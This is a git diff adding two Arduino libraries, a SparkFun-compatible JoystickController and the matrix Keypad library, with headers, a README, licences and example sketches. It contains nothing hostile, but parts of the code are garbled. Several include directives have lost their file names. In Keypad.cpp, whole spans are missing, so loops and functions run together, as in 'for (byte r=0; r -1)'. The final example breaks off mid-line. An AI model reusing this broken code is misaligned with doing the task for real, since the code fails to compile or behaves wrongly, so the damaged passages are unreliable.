+ pinMode(PIN_BUTTON_UP, INPUT); + digitalWrite(PIN_BUTTON_UP, HIGH); + + pinMode(PIN_BUTTON_DOWN, INPUT); + digitalWrite(PIN_BUTTON_DOWN, HIGH); + + pinMode(PIN_BUTTON_LEFT, INPUT); + digitalWrite(PIN_BUTTON_LEFT, HIGH); + + pinMode(PIN_BUTTON_RIGHT, INPUT); + digitalWrite(PIN_BUTTON_RIGHT, HIGH); + + this->_reset(); +} + +/** + * Protected. + */ +void JoystickController::_updateDirection(){ + const int NONE = 0; + const int POSITIVE = 1; + const int NEGATIVE = -1; + + int x = analogRead(PIN_ANALOG_X); + int y = analogRead(PIN_ANALOG_Y); + + int directX = NONE; + int directY = NONE; + + if (x < _threshouldLow){ + directX = NEGATIVE; + } + + if (x > _threshouldHigh){ + directX = POSITIVE; + } + + if (y < _threshouldLow){ + directY = NEGATIVE; + } + + if (y > _threshouldHigh){ + directY = POSITIVE; + } + + if (directX == NONE){ + if (directY == POSITIVE){ + _direction = DIRECTION_UP; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN; + } + } + + if (directX == POSITIVE){ + if (directY == NONE){ + _direction = DIRECTION_RIGHT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_RIGHT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_RIGHT; + } + } + + if (directX == NEGATIVE){ + if (directY == NONE){ + _direction = DIRECTION_LEFT; + } + if (directY == POSITIVE){ + _direction = DIRECTION_UP_LEFT; + } + if (directY == NEGATIVE){ + _direction = DIRECTION_DOWN_LEFT; + } + } +} + +/** + * Protected. + */ +void JoystickController::_updateButtons(){ + int S = digitalRead(PIN_BUTTON_SELECT); + int U = digitalRead(PIN_BUTTON_UP); + int D = digitalRead(PIN_BUTTON_DOWN); + int L = digitalRead(PIN_BUTTON_LEFT); + int R = digitalRead(PIN_BUTTON_RIGHT); + + if (this->_buttonPressed(S)){ + _selectButtonPressed = true; + } + + if (this->_buttonPressed(U)){ + _upButtonPressed = true; + } + + if (this->_buttonPressed(D)){ + _downButtonPressed = true; + } + + if (this->_buttonPressed(L)){ + _leftButtonPressed = true; + } + + if (this->_buttonPressed(R)){ + _rightButtonPressed = true; + } +} + +/** + * Protected. + */ +bool JoystickController::_buttonPressed(int state){ + return (state == LOW); +} diff --git a/Projects/libraries/Installed_libs/JoystickController/JoystickController.h b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h new file mode 100755 index 0000000..8e01087 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/JoystickController.h @@ -0,0 +1,71 @@ +#ifndef __JOYSTICKCONTROLLER_H__ +#define __JOYSTICKCONTROLLER_H__ + +class JoystickController{ + protected: + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + + int _threshouldLow; + int _threshouldHigh; + + int _direction; + bool _selectButtonPressed; + bool _upButtonPressed; + bool _downButtonPressed; + bool _leftButtonPressed; + bool _rightButtonPressed; + + void _setup(); + void _reset(); + void _updateDirection(); + void _updateButtons(); + bool _buttonPressed(int state); + + public: + /** + * Directions in the integer format. + */ + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + + /** + * Constructor. The first argument specifies the lower threshould value for the directional key pad, + * below which the controller is assumed to set left/down in the horizontal/vertical direction. + * The second argument specifies the upper threshould value, + * above which the controller is assumed to set right/up in the horizontal/vertical direction. + */ + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH); + + /** + * Must get called in the main loop. + */ + void update(); + + /** + * Returns the current direction in the integer format. + */ + int getDirection(); + + /** + * Returns true if a button is being pressed, otherwise false. + */ + bool upButtonPressed(); + bool downButtonPressed(); + bool leftButtonPressed(); + bool rightButtonPressed(); + + /** + * Returns true if the select button (directional keypad) is being pressed, otherwise false. + */ + bool selectButtonPressed(); +}; + +#endif diff --git a/Projects/libraries/Installed_libs/JoystickController/LICENSE b/Projects/libraries/Installed_libs/JoystickController/LICENSE new file mode 100755 index 0000000..a51af92 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/LICENSE @@ -0,0 +1,7 @@ +Copyright (c) 2012 boreal-kiss.com + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/README.md b/Projects/libraries/Installed_libs/JoystickController/README.md new file mode 100755 index 0000000..e425463 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/README.md @@ -0,0 +1,120 @@ +# JoystickController + +Fully compatible with SparkFun's [Arduino joystick shield](https://www.sparkfun.com/products/9760?). The library lets you easily fetch the current status of the joystick (demo video is [here](https://vimeo.com/49010406)). Implementation is quite simple; + + JoystickController(int low = DEFAULT_LOW, int high = DEFAULT_HIGH) + +is a constructor. The first argument specifies the lower threshold value for the directional key pad, below which the controller is assumed to set left/down in the horizontal/vertical direction. The second argument specifies the upper threshold value, above which the controller is assumed to set right/up in the horizontal/vertical direction. If arguments are not specified, the following default values will be used: + + static const int DEFAULT_LOW = 490; + static const int DEFAULT_HIGH = 530; + +For more information about the threshold see the following article; [How do I find the current direction of the joystick?](http://www.sparkfun.com/tutorials/171#direction) + + void update() + +must get called in the main loop in order for the library to communicate with the joystick. + + int getDirection() + +returns the current direction of the directional keypad as integer values that are defined as class static variables: + + static const int DIRECTION_NONE = 0; + static const int DIRECTION_UP = 1; + static const int DIRECTION_UP_RIGHT = 2; + static const int DIRECTION_RIGHT = 3; + static const int DIRECTION_DOWN_RIGHT = 4; + static const int DIRECTION_DOWN = 5; + static const int DIRECTION_DOWN_LEFT = 6; + static const int DIRECTION_LEFT = 7; + static const int DIRECTION_UP_LEFT = 8; + +Finally buttons' status can be fetched from the following functions: + + bool upButtonPressed() + bool downButtonPressed() + bool leftButtonPressed() + bool rightButtonPressed() + bool selectButtonPressed() + +They return true if a button is being pressed, otherwise false. + +## Example + +Here is a simple example for the library implementation. + + #include "JoystickController.h" + + JoystickController controller; + + void setup(){ + Serial.begin(9600); + } + + void loop(){ + controller.update(); + + if (controller.selectButtonPressed()){ + Serial.println("S"); + } + + if (controller.upButtonPressed()){ + Serial.println("U"); + } + + if (controller.downButtonPressed()){ + Serial.println("D"); + } + + if (controller.leftButtonPressed()){ + Serial.println("L"); + } + + if (controller.rightButtonPressed()){ + Serial.println("R"); + } + + int direct = controller.getDirection(); + + switch (direct){ + case JoystickController::DIRECTION_UP: + Serial.println("UP"); + break; + case JoystickController::DIRECTION_UP_RIGHT: + Serial.println("UP-RIGHT"); + break; + case JoystickController::DIRECTION_RIGHT: + Serial.println("RIGHT"); + break; + case JoystickController::DIRECTION_DOWN_RIGHT: + Serial.println("DOWN-RIGHT"); + break; + case JoystickController::DIRECTION_DOWN: + Serial.println("DOWN"); + break; + case JoystickController::DIRECTION_DOWN_LEFT: + Serial.println("DOWN-LEFT"); + break; + case JoystickController::DIRECTION_LEFT: + Serial.println("LEFT"); + break; + case JoystickController::DIRECTION_UP_LEFT: + Serial.println("UP-LEFT"); + break; + } + + delay(100); + } + +## Related articles + +* [Arduino joystick controller library](http://blog.boreal-kiss.net/2012/09/07/arduino-joystick-controller-library/) + +## License + +This project is provided under the terms of the [MIT License](http://www.opensource.org/licenses/mit-license.php). + +## Contact + +* [http://blog.boreal-kiss.net/](http://blog.boreal-kiss.net/) +* [http://twitter.com/borealkiss](http://twitter.com/borealkiss) \ No newline at end of file diff --git a/Projects/libraries/Installed_libs/JoystickController/keywords.txt b/Projects/libraries/Installed_libs/JoystickController/keywords.txt new file mode 100755 index 0000000..bc8bf83 --- /dev/null +++ b/Projects/libraries/Installed_libs/JoystickController/keywords.txt @@ -0,0 +1,35 @@ +####################################### +# Syntax Coloring Map for JoystickController +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +JoystickController KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +update KEYWORD2 +getDirection KEYWORD2 +selectButtonPressed KEYWORD2 +upButtonPressed KEYWORD2 +downButtonPressed KEYWORD2 +leftButtonPressed KEYWORD2 +rightButtonPressed KEYWORD2 + +####################################### +# Constants (LITERAL1) +####################################### + +DIRECTION_NONE LITERAL1 +DIRECTION_UP LITERAL1 +DIRECTION_UP_RIGHT LITERAL1 +DIRECTION_RIGHT LITERAL1 +DIRECTION_DOWN_RIGHT LITERAL1 +DIRECTION_DOWN LITERAL1 +DIRECTION_DOWN_LEFT LITERAL1 +DIRECTION_LEFT LITERAL1 +DIRECTION_UP_LEFT LITERAL1 diff --git a/Projects/libraries/Installed_libs/Keypad/Keypad.cpp b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp new file mode 100755 index 0000000..f146a6d --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/Keypad.cpp @@ -0,0 +1,293 @@ +/* +|| +|| @file Keypad.cpp +|| @version 3.1 +|| @author Mark Stanley, Alexander Brevig +|| @contact mstanley@technologist.com, alexanderbrevig@gmail.com +|| +|| @description +|| | This library provides a simple interface for using matrix +|| | keypads. It supports multiple keypresses while maintaining +|| | backwards compatibility with the old single key library. +|| | It also supports user selectable pins and definable keymaps. +|| # +|| +|| @license +|| | This library is free software; you can redistribute it and/or +|| | modify it under the terms of the GNU Lesser General Public +|| | License as published by the Free Software Foundation; version +|| | 2.1 of the License. +|| | +|| | This library is distributed in the hope that it will be useful, +|| | but WITHOUT ANY WARRANTY; without even the implied warranty of +|| | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +|| | Lesser General Public License for more details. +|| | +|| | You should have received a copy of the GNU Lesser General Public +|| | License along with this library; if not, write to the Free Software +|| | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +|| # +|| +*/ +#include + +// <> Allows custom keymap, pin configuration, and keypad sizes. +Keypad::Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols) { + rowPins = row; + columnPins = col; + sizeKpd.rows = numRows; + sizeKpd.columns = numCols; + + begin(userKeymap); + + setDebounceTime(10); + setHoldTime(500); + keypadEventListener = 0; + + startTime = 0; + single_key = false; +} + +// Let the user define a keymap - assume the same row/column count as defined in constructor +void Keypad::begin(char *userKeymap) { + keymap = userKeymap; +} + +// Returns a single key only. Retained for backwards compatibility. +char Keypad::getKey() { + single_key = true; + + if (getKeys() && key[0].stateChanged && (key[0].kstate==PRESSED)) + return key[0].kchar; + + single_key = false; + + return NO_KEY; +} + +// Populate the key list. +bool Keypad::getKeys() { + bool keyActivity = false; + + // Limit how often the keypad is scanned. This makes the loop() run 10 times as fast. + if ( (millis()-startTime)>debounceTime ) { + scanKeys(); + keyActivity = updateList(); + startTime = millis(); + } + + return keyActivity; +} + +// Private : Hardware scan +void Keypad::scanKeys() { + // Re-intialize the row pins. Allows sharing these pins with other hardware. + for (byte r=0; r -1) { + nextKeyState(idx, button); + } + // Key is NOT on the list so add it. + if ((idx == -1) && button) { + for (byte i=0; iholdTime) // Waiting for a key HOLD... + transitionTo (idx, HOLD); + else if (button==OPEN) // or for a key to be RELEASED. + transitionTo (idx, RELEASED); + break; + case HOLD: + if (button==OPEN) + transitionTo (idx, RELEASED); + break; + case RELEASED: + transitionTo (idx, IDLE); + break; + } +} + +// New in 2.1 +bool Keypad::isPressed(char keyChar) { + for (byte i=0; i= 100 +#include "Arduino.h" +#else +#include "WProgram.h" +#endif + +// bperrybap - Thanks for a well reasoned argument and the following macro(s). +// See http://arduino.cc/forum/index.php/topic,142041.msg1069480.html#msg1069480 +#ifndef INPUT_PULLUP +#warning "Using pinMode() INPUT_PULLUP AVR emulation" +#define INPUT_PULLUP 0x2 +#define pinMode(_pin, _mode) _mypinMode(_pin, _mode) +#define _mypinMode(_pin, _mode) \ +do { \ + if(_mode == INPUT_PULLUP) \ + pinMode(_pin, INPUT); \ + digitalWrite(_pin, 1); \ + if(_mode != INPUT_PULLUP) \ + pinMode(_pin, _mode); \ +}while(0) +#endif + + +#define OPEN LOW +#define CLOSED HIGH + +typedef char KeypadEvent; +typedef unsigned int uint; +typedef unsigned long ulong; + +// Made changes according to this post http://arduino.cc/forum/index.php?topic=58337.0 +// by Nick Gammon. Thanks for the input Nick. It actually saved 78 bytes for me. :) +typedef struct { + byte rows; + byte columns; +} KeypadSize; + +#define LIST_MAX 10 // Max number of keys on the active list. +#define MAPSIZE 10 // MAPSIZE is the number of rows (times 16 columns) +#define makeKeymap(x) ((char*)x) + + +//class Keypad : public Key, public HAL_obj { +class Keypad : public Key { +public: + + Keypad(char *userKeymap, byte *row, byte *col, byte numRows, byte numCols); + + virtual void pin_mode(byte pinNum, byte mode) { pinMode(pinNum, mode); } + virtual void pin_write(byte pinNum, boolean level) { digitalWrite(pinNum, level); } + virtual int pin_read(byte pinNum) { return digitalRead(pinNum); } + + uint bitMap[MAPSIZE]; // 10 row x 16 column array of bits. Except Due which has 32 columns. + Key key[LIST_MAX]; + unsigned long holdTimer; + + char getKey(); + bool getKeys(); + KeyState getState(); + void begin(char *userKeymap); + bool isPressed(char keyChar); + void setDebounceTime(uint); + void setHoldTime(uint); + void addEventListener(void (*listener)(char)); + int findInList(char keyChar); + int findInList(int keyCode); + char waitForKey(); + bool keyStateChanged(); + byte numKeys(); + +private: + unsigned long startTime; + char *keymap; + byte *rowPins; + byte *columnPins; + KeypadSize sizeKpd; + uint debounceTime; + uint holdTime; + bool single_key; + + void scanKeys(); + bool updateList(); + void nextKeyState(byte n, boolean button); + void transitionTo(byte n, KeyState nextState); + void (*keypadEventListener)(char); +}; + +#endif + +/* +|| @changelog +|| | 3.1 2013-01-15 - Mark Stanley : Fixed missing RELEASED & IDLE status when using a single key. +|| | 3.0 2012-07-12 - Mark Stanley : Made library multi-keypress by default. (Backwards compatible) +|| | 3.0 2012-07-12 - Mark Stanley : Modified pin functions to support Keypad_I2C +|| | 3.0 2012-07-12 - Stanley & Young : Removed static variables. Fix for multiple keypad objects. +|| | 3.0 2012-07-12 - Mark Stanley : Fixed bug that caused shorted pins when pressing multiple keys. +|| | 2.0 2011-12-29 - Mark Stanley : Added waitForKey(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the public function keyStateChanged(). +|| | 2.0 2011-12-23 - Mark Stanley : Added the private function scanKeys(). +|| | 2.0 2011-12-23 - Mark Stanley : Moved the Finite State Machine into the function getKeyState(). +|| | 2.0 2011-12-23 - Mark Stanley : Removed the member variable lastUdate. Not needed after rewrite. +|| | 1.8 2011-11-21 - Mark Stanley : Added test to determine which header file to compile, +|| | WProgram.h or Arduino.h. +|| | 1.8 2009-07-08 - Alexander Brevig : No longer uses arrays +|| | 1.7 2009-06-18 - Alexander Brevig : This library is a Finite State Machine every time a state changes +|| | the keypadEventListener will trigger, if set +|| | 1.7 2009-06-18 - Alexander Brevig : Added setDebounceTime setHoldTime specifies the amount of +|| | microseconds before a HOLD state triggers +|| | 1.7 2009-06-18 - Alexander Brevig : Added transitionTo +|| | 1.6 2009-06-15 - Alexander Brevig : Added getState() and state variable +|| | 1.5 2009-05-19 - Alexander Brevig : Added setHoldTime() +|| | 1.4 2009-05-15 - Alexander Brevig : Added addEventListener +|| | 1.3 2009-05-12 - Alexander Brevig : Added lastUdate, in order to do simple debouncing +|| | 1.2 2009-05-09 - Alexander Brevig : Changed getKey() +|| | 1.1 2009-04-28 - Alexander Brevig : Modified API, and made variables private +|| | 1.0 2007-XX-XX - Mark Stanley : Initial Release +|| # +*/ diff --git a/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino new file mode 100755 index 0000000..0effbb9 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/CustomKeypad/CustomKeypad.ino @@ -0,0 +1,37 @@ +/* @file CustomKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates changing the keypad size and key values. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 4; //four columns +//define the cymbols on the buttons of the keypads +char hexaKeys[ROWS][COLS] = { + {'0','1','2','3'}, + {'4','5','6','7'}, + {'8','9','A','B'}, + {'C','D','E','F'} +}; +byte rowPins[ROWS] = {3, 2, 1, 0}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6, 5, 4}; //connect to the column pinouts of the keypad + +//initialize an instance of class NewKeypad +Keypad customKeypad = Keypad( makeKeymap(hexaKeys), rowPins, colPins, ROWS, COLS); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char customKey = customKeypad.getKey(); + + if (customKey){ + Serial.println(customKey); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino new file mode 100755 index 0000000..530b523 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/DynamicKeypad/DynamicKeypad.ino @@ -0,0 +1,213 @@ +/* @file DynamicKeypad.pde +|| @version 1.2 +|| @author Mark Stanley +|| @contact mstanley@technologist.com +|| +|| 07/11/12 - Re-modified (from DynamicKeypadJoe2) to use direct-connect kpds +|| 02/28/12 - Modified to use I2C i/o G. D. (Joe) Young +|| +|| +|| @dificulty: Intermediate +|| +|| @description +|| | This is a demonstration of keypadEvents. It's used to switch between keymaps +|| | while using only one keypad. The main concepts being demonstrated are: +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding. +|| | How to use setHoldTime() and why. +|| | Making more than one thing happen with the same key. +|| | Assigning and changing keymaps on the fly. +|| | +|| | Another useful feature is also included with this demonstration although +|| | it's not really one of the concepts that I wanted to show you. If you look +|| | at the code in the PRESSED event you will see that the first section of that +|| | code is used to scroll through three different letters on each key. For +|| | example, pressing the '2' key will step through the letters 'd', 'e' and 'f'. +|| | +|| | +|| | Using the keypad events, PRESSED, HOLD and RELEASED to simplify coding +|| | Very simply, the PRESSED event occurs imediately upon detecting a pressed +|| | key and will not happen again until after a RELEASED event. When the HOLD +|| | event fires it always falls between PRESSED and RELEASED. However, it will +|| | only occur if a key has been pressed for longer than the setHoldTime() interval. +|| | +|| | How to use setHoldTime() and why +|| | Take a look at keypad.setHoldTime(500) in the code. It is used to set the +|| | time delay between a PRESSED event and the start of a HOLD event. The value +|| | 500 is in milliseconds (mS) and is equivalent to half a second. After pressing +|| | a key for 500mS the HOLD event will fire and any code contained therein will be +|| | executed. This event will stay active for as long as you hold the key except +|| | in the case of bug #1 listed above. +|| | +|| | Making more than one thing happen with the same key. +|| | If you look under the PRESSED event (case PRESSED:) you will see that the '#' +|| | is used to print a new line, Serial.println(). But take a look at the first +|| | half of the HOLD event and you will see the same key being used to switch back +|| | and forth between the letter and number keymaps that were created with alphaKeys[4][5] +|| | and numberKeys[4][5] respectively. +|| | +|| | Assigning and changing keymaps on the fly +|| | You will see that the '#' key has been designated to perform two different functions +|| | depending on how long you hold it down. If you press the '#' key for less than the +|| | setHoldTime() then it will print a new line. However, if you hold if for longer +|| | than that it will switch back and forth between numbers and letters. You can see the +|| | keymap changes in the HOLD event. +|| | +|| | +|| | In addition... +|| | You might notice a couple of things that you won't find in the Arduino language +|| | reference. The first would be #include . This is a standard library from +|| | the C programming language and though I don't normally demonstrate these types of +|| | things from outside the Arduino language reference I felt that its use here was +|| | justified by the simplicity that it brings to this sketch. +|| | That simplicity is provided by the two calls to isalpha(key) and isdigit(key). +|| | The first one is used to decide if the key that was pressed is any letter from a-z +|| | or A-Z and the second one decides if the key is any number from 0-9. The return +|| | value from these two functions is either a zero or some positive number greater +|| | than zero. This makes it very simple to test a key and see if it is a number or +|| | a letter. So when you see the following: +|| | +|| | if (isalpha(key)) // this tests to see if your key was a letter +|| | +|| | And the following may be more familiar to some but it is equivalent: +|| | +|| | if (isalpha(key) != 0) // this tests to see if your key was a letter +|| | +|| | And Finally... +|| | To better understand how the event handler affects your code you will need to remember +|| | that it gets called only when you press, hold or release a key. However, once a key +|| | is pressed or held then the event handler gets called at the full speed of the loop(). +|| | +|| # +*/ +#include +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +// Define the keymaps. The blank spot (lower left) is the space character. +char alphaKeys[ROWS][COLS] = { + { 'a','d','g' }, + { 'j','m','p' }, + { 's','v','y' }, + { ' ','.','#' } +}; + +char numberKeys[ROWS][COLS] = { + { '1','2','3' }, + { '4','5','6' }, + { '7','8','9' }, + { ' ','0','#' } +}; + +boolean alpha = false; // Start with the numeric keypad. + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +// Create two new keypads, one is a number pad and the other is a letter pad. +Keypad numpad( makeKeymap(numberKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); +Keypad ltrpad( makeKeymap(alphaKeys), rowPins, colPins, sizeof(rowPins), sizeof(colPins) ); + + +unsigned long startTime; +const byte ledPin = 13; // Use the LED on pin 13. + +void setup() { + Serial.begin(9600); + pinMode(ledPin, OUTPUT); + digitalWrite(ledPin, LOW); // Turns the LED on. + ltrpad.begin( makeKeymap(alphaKeys) ); + numpad.begin( makeKeymap(numberKeys) ); + ltrpad.addEventListener(keypadEvent_ltr); // Add an event listener. + ltrpad.setHoldTime(500); // Default is 1000mS + numpad.addEventListener(keypadEvent_num); // Add an event listener. + numpad.setHoldTime(500); // Default is 1000mS +} + +char key; + +void loop() { + + if( alpha ) + key = ltrpad.getKey( ); + else + key = numpad.getKey( ); + + if (alpha && millis()-startTime>100) { // Flash the LED if we are using the letter keymap. + digitalWrite(ledPin,!digitalRead(ledPin)); + startTime = millis(); + } +} + +static char virtKey = NO_KEY; // Stores the last virtual key press. (Alpha keys only) +static char physKey = NO_KEY; // Stores the last physical key press. (Alpha keys only) +static char buildStr[12]; +static byte buildCount; +static byte pressCount; + +static byte kpadState; + +// Take care of some special events. + +void keypadEvent_ltr(KeypadEvent key) { + // in here when in alpha mode. + kpadState = ltrpad.getState( ); + swOnState( key ); +} // end ltrs keypad events + +void keypadEvent_num( KeypadEvent key ) { + // in here when using number keypad + kpadState = numpad.getState( ); + swOnState( key ); +} // end numbers keypad events + +void swOnState( char key ) { + switch( kpadState ) { + case PRESSED: + if (isalpha(key)) { // This is a letter key so we're using the letter keymap. + if (physKey != key) { // New key so start with the first of 3 characters. + pressCount = 0; + virtKey = key; + physKey = key; + } + else { // Pressed the same key again... + virtKey++; // so select the next character on that key. + pressCount++; // Tracks how many times we press the same key. + } + if (pressCount > 2) { // Last character reached so cycle back to start. + pressCount = 0; + virtKey = key; + } + Serial.print(virtKey); // Used for testing. + } + if (isdigit(key) || key == ' ' || key == '.') + Serial.print(key); + if (key == '#') + Serial.println(); + break; + + case HOLD: + if (key == '#') { // Toggle between keymaps. + if (alpha == true) { // We are currently using a keymap with letters + alpha = false; // Now we want a keymap with numbers. + digitalWrite(ledPin, LOW); + } + else { // We are currently using a keymap with numbers + alpha = true; // Now we want a keymap with letters. + } + } + else { // Some key other than '#' was pressed. + buildStr[buildCount++] = (isalpha(key)) ? virtKey : key; + buildStr[buildCount] = '\0'; + Serial.println(); + Serial.println(buildStr); + } + break; + + case RELEASED: + if (buildCount >= sizeof(buildStr)) buildCount = 0; // Our string is full. Start fresh. + break; + } // end switch-case +}// end switch on state function + diff --git a/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino new file mode 100755 index 0000000..4bc2883 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/EventKeypad/EventKeypad.ino @@ -0,0 +1,73 @@ +/* @file EventSerialKeypad.pde + || @version 1.0 + || @author Alexander Brevig + || @contact alexanderbrevig@gmail.com + || + || @description + || | Demonstrates using the KeypadEvent. + || # + */ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; + +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); +byte ledPin = 13; + +boolean blink = false; +boolean ledPin_state; + +void setup(){ + Serial.begin(9600); + pinMode(ledPin, OUTPUT); // Sets the digital pin as output. + digitalWrite(ledPin, HIGH); // Turn the LED on. + ledPin_state = digitalRead(ledPin); // Store initial LED state. HIGH when LED is on. + keypad.addEventListener(keypadEvent); // Add an event listener for this keypad +} + +void loop(){ + char key = keypad.getKey(); + + if (key) { + Serial.println(key); + } + if (blink){ + digitalWrite(ledPin,!digitalRead(ledPin)); // Change the ledPin from Hi2Lo or Lo2Hi. + delay(100); + } +} + +// Taking care of some special events. +void keypadEvent(KeypadEvent key){ + switch (keypad.getState()){ + case PRESSED: + if (key == '#') { + digitalWrite(ledPin,!digitalRead(ledPin)); + ledPin_state = digitalRead(ledPin); // Remember LED state, lit or unlit. + } + break; + + case RELEASED: + if (key == '*') { + digitalWrite(ledPin,ledPin_state); // Restore LED state from before it started blinking. + blink = false; + } + break; + + case HOLD: + if (key == '*') { + blink = true; // Blink the LED when holding the * key. + } + break; + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino new file mode 100755 index 0000000..6138bff --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad/HelloKeypad.ino @@ -0,0 +1,35 @@ +/* @file HelloKeypad.pde +|| @version 1.0 +|| @author Alexander Brevig +|| @contact alexanderbrevig@gmail.com +|| +|| @description +|| | Demonstrates the simplest use of the matrix Keypad library. +|| # +*/ +#include + +const byte ROWS = 4; //four rows +const byte COLS = 3; //three columns +char keys[ROWS][COLS] = { + {'1','2','3'}, + {'4','5','6'}, + {'7','8','9'}, + {'*','0','#'} +}; +byte rowPins[ROWS] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {8, 7, 6}; //connect to the column pinouts of the keypad + +Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + +void setup(){ + Serial.begin(9600); +} + +void loop(){ + char key = keypad.getKey(); + + if (key){ + Serial.println(key); + } +} diff --git a/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino new file mode 100755 index 0000000..5605b72 --- /dev/null +++ b/Projects/libraries/Installed_libs/Keypad/examples/HelloKeypad3/HelloKeypad3.ino @@ -0,0 +1,68 @@ +#include + + +const byte ROWS = 2; // use 4X4 keypad for both instances +const byte COLS = 2; +char keys[ROWS][COLS] = { + {'1','2'}, + {'3','4'} +}; +byte rowPins[ROWS] = {5, 4}; //connect to the row pinouts of the keypad +byte colPins[COLS] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpd( makeKeymap(keys), rowPins, colPins, ROWS, COLS ); + + +const byte ROWSR = 2; +const byte COLSR = 2; +char keysR[ROWSR][COLSR] = { + {'a','b'}, + {'c','d'} +}; +byte rowPinsR[ROWSR] = {3, 2}; //connect to the row pinouts of the keypad +byte colPinsR[COLSR] = {7, 6}; //connect to the column pinouts of the keypad +Keypad kpdR( makeKeymap(keysR), rowPinsR, colPinsR, ROWSR, COLSR ); + + +const byte ROWSUR = 4; +const byte COLSUR = 1; +char keysUR[ROWSUR][COLSUR] = { + {'M'}, + {'A'}, + {'R'}, + {'K'} +}; +// Digitran keypad, bit numbers of PCF8574 i/o port +byte rowPinsUR[ROWSUR] = {5, 4, 3, 2}; //connect to the row pinouts of the keypad +byte colPinsUR[COLSUR] = {8}; //connect to the column pinouts of the keypad + +Keypad kpdUR( makeKeymap(keysUR), rowPinsUR, colPinsUR, ROWSUR, COLSUR ); + + +void setup(){ +// Wire.begin( ); + kpdUR.begin( makeKeymap(keysUR) ); + kpdR.begin( makeKeymap(keysR) ); + kpd.begin( makeKeymap(keys) ); + Serial.begin(9600); + Serial.println( "start" ); +} + +//byte alternate = false; +char key, keyR, keyUR; +void loop(){ + +// alternate = !alternate; + key = kpd.getKey( ); + keyUR = kpdUR.getKey( ); + keyR = kpdR.getKey( ); + + if (key){ + Serial.println(key); + } + if( keyR ) { + Serial.println( keyR ); + } + if( keyUR ) { + Serial.println( keyUR 